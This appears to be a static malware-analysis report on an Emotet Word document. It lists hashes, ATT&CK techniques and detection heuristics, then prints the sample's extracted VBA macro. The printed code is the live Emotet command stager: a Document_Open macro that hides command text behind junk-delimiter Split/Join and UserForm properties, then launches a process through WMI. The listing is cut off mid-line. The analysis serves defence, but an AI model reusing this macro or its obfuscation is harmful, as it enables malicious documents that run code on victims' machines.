Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ab444b6b4e01751a…

MALICIOUS

Office (OLE)

228.5 KB Created: 2020-08-13 20:28:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 41eaa82dd290795c44fcf88f0f81fc37 SHA-1: 5a82b24aabdfa7c6bdf7604dac93ce57e2c73310 SHA-256: ab444b6b4e01751a504bcbe5bfafccb6c73c5a8f0a83102badfdfa7f0d061be7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager. This technique is characteristic of Emotet, which is known to download and execute further malicious payloads. The ClamAV detection also explicitly names Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9317586-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9317586-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4173 bytes
SHA-256: 7214252510b9444e2f1bf16f487ea061daa95a8aa44238af2f8568d11ae4c515
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JEHPWiuiqwogzyatqj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
UIHLEiyyaelynf.JUHOHgltcijlwsstfdx
End Sub


Attribute VB_Name = "UIHLEiyyaelynf"
Attribute VB_Base = "0{3781C62C-6EB2-4BF2-BB88-641D7A10F9E6}{B5BF580D-EFED-435D-BD6E-7BB5FBFF8EA0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function JUHOHgltcijlwsstfdx()
JKGGTwfpszyjpg = UIHLEiyyaelynf.Zoom
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
HFJFVmjkjhesy = ChrW(JKGGTwfpszyjpg + (100 + 35) / 9)
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
QMOPBpwizkmz = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + HFJFVmjkjhesy + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + UIHLEiyyaelynf.JZEYXdlsaatviod + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
BWJBQtpyyijv = HNZDMzskccfemilgkcj(QMOPBpwizkmz)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set UOPULahktzawtqyysy = CreateObject(BWJBQtpyyijv)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
KTXGDofnfiurb = UIHLEiyyaelynf.CORNKyddyszsxcr.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
VRGTOitxdporazort = PAGTVggomoscuy + (BWJBQtpyyijv + HFJFVmjkjhesy + UIHLEiyyaelynf.QLWTVuxtgpqmll.ControlTipText + KTXGDofnfiurb)
Dim gs2ËgnTcKiQ As String
JCBTBqfzkafnrmgfweo = VRGTOitxdporazort + UIHLEiyyaelynf.JZEYXdlsaatviod
Dim N0ÚPb8Ì As Double
Set PGWJAendjewu = WNIQTvkekifjpzfhij(JCBTBqfzkafnrmgfweo)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
SRWWVeflbqiwuqc = Array(UVNKSgndwymg + "OKBCDpsuqoekpe NJMYJmyggnrmd ZXSYCnfhtrbjgdhjad", UOPULahktzawtqyysy. _
Create(VXPJWrrpabpz, KPNLNwwpdupm, PGWJAendjewu), PBQQMlmqxgqvx + "FVZXNnjsemle FYCMEexufmqw")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function WNIQTvkekifjpzfhij(LPXURpxrrbmfh)
Set WNIQTvkekifjpzfhij = CreateObject(LPXURpxrrbmfh)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
WNIQTvkekifjpzfhij. _
showwindow = RLMJWqqwqtdxcytw + DFHJGsvtmqzgzijaxwy
Dim a4Õg As Object
End Function
Function HNZDMzskccfemilgkcj(RYINOofaueknczcdd)
WRKFMccykrczina = RYINOofaueknczcdd
Dim nGcyUDpZ As Byte
PLHVRtysfysqbvd = Split _
(WRKFMccykrczina, "832[sahj hui12t7" + "gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
DXCYGzsixheshfsyx = UQVOFpeypcgdx + Join(PLHVRtysfysqbvd, JKPFKtrqkaqqql)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
HNZDMzskccfemilgkcj = DXCYGzsixheshfsyx
Dim kFPSyh As Object
End Function
Function VXPJWrrpabpz()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
AFTTXoyixcqpvqk = UIHLEiyyaelynf.QOOYTlcsflav.Pages(vbOK / vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
VXPJWrrpabpz = HNZDMzskccfemilgkcj(AFTTXoyixcqpvqk)
Dim B0ÃjUg As Integer
B0ÃjUg = 9
Do While B0ÃjUg < 9 + 1
B0ÃjUg = B0ÃjUg + 1: D
... (truncated)

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